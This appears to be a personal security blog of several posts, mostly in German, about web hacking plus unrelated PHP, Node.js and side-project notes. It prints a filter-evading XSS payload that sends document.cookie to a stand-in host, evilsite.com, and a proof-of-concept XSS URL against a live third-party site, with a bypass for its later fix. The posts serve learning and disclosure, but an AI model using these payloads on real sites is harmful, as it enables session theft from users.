Geschützt: Exploiting SAP’s IDS for fun
Gruyere: Das Hackme von Google
Google hat mit Gruyere ein ziemlich umfassendes Hackme auf Google App Engine veröffentlicht, das je nach vorliebe des Benutzers große Angriffsfläche für Black- und White-Box Security Audits bietet. Die Webapplikation ist in Python geschrieben und inklusive Sourcecode verfügbar. Jeder “Sicherheitstester” bekommt seine eigene Instanz der Webapplikation und kann sich in dieser Sandbox nach belieben austoben.
Dazu kommt, dass alle existierenden Sicherheitslücken kategorisiert und mit Tipps und Beispielexploits versehen sind. Der spielhafte Charakter mit detaillierten Beschreibungen der zu Grunde liegenden Bugs anhand von Beispielcode erlaubt es auch Anfängern viele Facetten der Sicherheitsprobleme von Webapplikationen zu verstehen.
Hat man Gruyere erst einmal ausprobiert, kann sich jeder vorstellen wie Code Execution, Denial of Service, XSS, CSRF und weitere Designfehler zustande kommen und zum eigenen Profit eingesetzt werden können.
Eine schöne XSS-Payload
Ich war vor einiger Zeit während eines Capture the Flaw Wettbewerbs in der Situation, dass ich mit Hilfe einer XSS-Lücke an die Cookies des Benutzers kommen musste. An für sich ist das nichts ungewöhnliches – jedenfalls bis auf die dort eingesetzte Blacklist:
Die Strings cookie, http://, script und diverse weitere HTML-Tags wurden gefiltert.
Erfolg gab es dann hiermit:
1 | <iframe src=//google.de onload="this.src=['//www.evilsite.com?steal=',eval(['docume','nt.co','okie'].join(''))].join('')"></iframe> |
Kurze Erklärung:
- Ich lege durch das
<iframe>-Tag einen Iframe an, der auf http://www.google.de zeigt. - Dieser bekommt ein
onload-Event zugewiesen. - Der darin enthaltene Javascript-Code erstellt aus Teilstücken das Wort
document.cookie, packt es in dieeval-Funktion um es als Variable auszuwerten und hängt danach den Rückgabewert – also den Cookie des Benutzers – an die URL des Iframes an.
Ich war positiv überrascht von der Eleganz meiner Lösung und freue mich immer, wenn ich weitere Beispiele für kreativen Umgang mit Restriktionen finde
I noticed a security vulnerability in the PHP Directory Listing Script made by Ash Young from Evoluted.net.
Some input isn’t properly sanitized before it is returned to the user, rendering the application’s users vulnerable to a XSS flaw.
To resolve this vulnerability, the following patch needs to be applied to the PHP Directory List v3.1 source code which makes use of urlencode instead of strip_slashes to sanitize user input:
1 2 3 4 5 | # diff index.php /tmp/directoryv3.1/index.php 391c391 < $baseurl = strip_tags($_SERVER['PHP_SELF']) . '?dir='.urlencode($_GET['dir']) . '&'; --- > $baseurl = strip_tags($_SERVER['PHP_SELF']) . '?dir='.strip_tags($_GET['dir']) . '&'; |
Thanks goes out to Anon for pointing out that this previous vulnerability is originally found in PHP Directory Listing from Evoluted.net.
The programmer in charge has been notified of this issue.
Auch die NN-Crew macht Fehler
Nachdem durch Indymedia und nicht zuletzt Felix von Leitner (fefe) die Welt über den Hack einiger Bundespolizei-Server durch die “No-Name-Crew” aufgeklärt wurde, ist mir die URL der Veröffentlichung auf dl.nn-crew.cc sehr typisch für Angriffsziele von Cross-Site Sripting (XSS) – Attacken vorgekommen:
http://dl.nn-crew.cc/index.php?dir=2-NN-Crew+-+Leaks%2FBundespolizei%2F
Und siehe da, der GET-Parameter dir kann nicht nur den kompletten Pfad zu einem Ordner enthalten, sondern auch einen netten XSS-Vektor. Die Tatsache, dass der für dieses PHP-Script zuständige Programmierer aus Reihen der “No-Name-Crew” vollständige HTML-Tags löscht – also <, > und alle Zeichen dazwischen – zeugt von keinem wirklichen Überblick über das Zustandekommen von XSS-Lücken.
Aufbau einer erfolgreichen Attacke:
- durch ein
"wird dasHREF-Attribut des<a>-Tags beendet. Nun können wir beliebige weitere Attribute des Link-Tags definieren. - Ein Leerzeichen gefolgt von
onmouseover=alert('XSS')verpasst dem Link ein Event, das beim “Mit-der-Maus-drüberfahren” einen von mir bestimmten Javascript-Code ausführt. - Durch
style=position:absolute;top:0;left:0;right:0;bottom:0sagen wir dem Browser, dass der Link das gesamte Browserfenster ausfüllen soll. Somit wird der Benutzer dasonmouseover-Event ausführen, sobald er seine Maus über irgendeinen Bereich der Homepage bewegt. - Und zuletzt wird der Angriffsvektor durch ein
alt=abgeschlossen. Dieses Attribut wird benötigt, weil der Browser sonst beim Rendern eine Fehlermeldung melden würde.
Wenn alle oben genannten Punkte zusammenbaut werden, so kommt man auf folgenden Angriff (Selbst Ausprobieren):
http://dl.nn-crew.cc/index.php?dir=2-NN-Crew+-+Leaks%2FBundespolizei%2FBP_PACK_No-Name-Crew%2FGPSTracker%2FGPSTracker+PAIP+OpenLayers%2FVollstaendige+Setups%2F%27%22%20onmouseover=alert%28String.fromCharCode%2888,83,83%29%29;%20style=position:absolute;top:0;left:0;bottom:0;right:0;%20alt=
In diesem Quelltext-Screenshot sieht man, wie der Quirks Mode von Mozilla Firefox den Angriff ausführt.
Angriff geht nicht immer
Durch den einen eingebauten Schutz vor reflexivem XSS sind Benutzer von Chrome/Chromium oder der Firefox-Extension “NoScript” von dem in diesem Post genannten Angriff nicht betroffen. Ich persönlich habe den Angriff unter Mozilla Firefox getestet.
Gedanken zum Bundespolizei-Hack
Es ist sehr peinlich, dass die Bundespolizei wahrscheinlich auf Grund einer alten PHPMyAdmin-Version gehackt wurde und eine so schlecht gesicherte Trackingsoftware verwendet, dass sogar Angreifer mit rudimentärem Know-How sie erfolgreich ownen können.
Update – 08. Juli 2011, Mittag:
Der Autor des Scripts hat nun offensichtlich die Sicherheitslücke bemerkt und behoben, mein ursprüngliches Proof of Concept-Exploit funktioniert nicht mehr. Leider kann man aber nur bedingt von “behoben” sprechen, die Maßnahme gegen XSS ist nun das Wort "alert" aus dem String zu löschen.
Wird die XSS-Payload nun durch eval(String.fromCharCode(....)) ersetzt, kann man wie vorher auch die Seite der “No-Name-Crew” exploiten. Sehr peinlich.
Update 2 – 08. Juli 2011, später Abend:
Nun wurde die Sicherheitslücke wie von mir vorgeschlagen durch ein URL-Encoding der Parameter behoben
The only way to install the PHP OAuth Libabry on your Debian / Ubuntu system is as follows:
- Install PECL:
sudo apt-get install php-auth php5-dev libpcre3-dev - Install PHP OAuth Library:
sudo pecl install oauth - Make PHP Load the OAuth Library on PHP Startup:
sudo echo "extension=oauth.so" > /etc/php5/conf.d/oauth.ini
Now a look at php -m on the command line or phpinfo() in a .php file on your web server should point out that PHP OAuth is ready for use!
Thanks to Darren, I found this easy solution.
easyComment 1.4 has been released!
For all of you who’ve been struggling with Download Error #228, a minor Mozilla fuckup, or Firefox 4 support – the latest version of easyComment has just been released and is available on the AMO homepage.
One more time, I’d like to thank everybody for your ongoing support and all the positive reviews. It’s nice to see more than 1000 people use your software every single day.
- Benjamin
R.I.P. mybeni.rootzilla.de
Wie ich heute morgen gesteckt bekommen habe, ist mein geliebtes altes Blog, zu erreichen unter mybeni.rootzilla.de endgültig den Bach herunter gegangen. Leider hat mir die Domain rootzilla.de niemals gehört, und scheinbar hat sie mein Klassenkamerad, der sie mir damals zur Verfügung gestellt hatte, endgültig auslaufen lassen.
Auf mybeni.rootzilla.de habe ich jahrelang in englischer und deutscher Sprache Sicherheitslücken in Software wie z.B. WordPress publiziert, den ersten gutartigen XSS-Wurm der Welt veröffentlicht, die ALEXA TOP 100 Liste nach Sicherheitslücken abgeklapptert (natürlich auch fündig geworden) und dutzende Experimente mit Suchmaschinenoptimierung durchgeführt – shame on me.
Natürlich habe ich gegen Ende seines Daseins diesem Blog nicht mehr so viel Zuwendung geschenkt, wie es eigentlich verdient hätte, aber dieser Verlust trifft mich dennoch umso härter. R.I.P. mybeni.rootzilla.de, ich hoffe dieses Blog wird irgendwann in ferner Zukunft deinen Platz einnehmen.
RegioVelo – Endlich Fertig!
Die letzten Wochen und sogar Monate habe ich mich leider nur sehr wenig um meine nette Firefox Extension, das jQuery-Plugin oder gar die Warsuche kümmern können. Dies wird sich nun Ändern, denn die Homepage für den Obst- und Gemüse Fahrradlieferservice Regiovelo ist nun endlich fertig. Das Liefergebiet ist das Stadtgebiet Mannheim – direkt vor die Haustür.
Die Implementierung von RegioVelo war ein mittelgroßes Softwareprojekt mit folgenden Eckdaten:
- Onlineshop für Abonnements und einmalige Bestellung von Gemüsekisten in Mannheim (link zum Bestellprozess)
- Träger sind die Biotopia Arbeitsförderungsbetriebe Mannheim gGmbH und die Studierendeninitiative SIFE Universität Mannheim.
- Diese Kisten werden nach Hause zum Kunden per Fahrrad geliefert, und zwar von jungen Arbeitslosen die im Rahmen von RegioVelo für den ersten Arbeitsmarkt qualifiziert werden.
- Ein Backend für das Kundenmanagement u.a. mit recht komplexer Zuweisung der Lieferfenster.
- Ein jQuery Wizard Plugin, mit dem man im Handumdrehen aus einem normalen HTML-Formular einen interaktiven “Wizard” erstellt. Dieses Plugin werde ich ASAP veröffentlichen, eine Live-Demo gibt es schon. Absolut cool!
- Cron-Jobs für Bestellung bei Lieferanten & Billing-Schnittstelle zur Buchhaltung
- Backend für die Mitarbeiter, in dem Auslieferungen für den Kunden protokolliert werden.
- Planung der Lieferroute mit Google Maps.
Realisiert wurde das ganze individuell und from scratch in Linux, Apache, MySQL, PHP5 (die alte LAMP-Kombination), da es nicht so schien als würde mir ein Framework viel Arbeit abnehmen können. Ich griff mal wieder zu PHP, weil viele Klassen wiederverwendet werden konnten und meine Node.js-Skills für ein solches Projekt wahrscheinlich noch nicht wirklich effektiv einsetzbar sind.
Ich schließe nun mein kurzes Statusupdate mit den Worten von Manuel Diotte: “Winning isn’t always finishing first. Sometimes winning is just finishing.”
Node.js, MongoDB, Express and Sessions: TypeError: Object #Object> has no method ‘bodyDecoder’
I just struggled with this error message whilst trying to set up some sort of authentication layer for a small node.js-powered web application with a MongoDB backend. This was my code to establish a MongoDB session handling. The TypeError: Object #<Object> has no method 'bodyDecoder' occurs in line 5 of the following snippet:
1 2 3 4 5 6 7 8 9 10 11 | var MongoStore = require('connect-mongodb'); app.use(express.logger({ format: ':method :url'})); app.use(express.bodyParser()); app.use(express.methodOverride()); app.use(express.cookieDecoder()); // <= runtime error appears here app.use(express.session({ secret: settings.cookie_secret, store: new MongoStore({ db: settings.db }) })); |
After some investigation I found out that in Express 2.0.0beta3, the function cookieDecoder() has been renamed to cookieParser(); the same comes true for bodyDecoder() which now needs to be called as bodyParser(). At least now I know why some of the example code failed






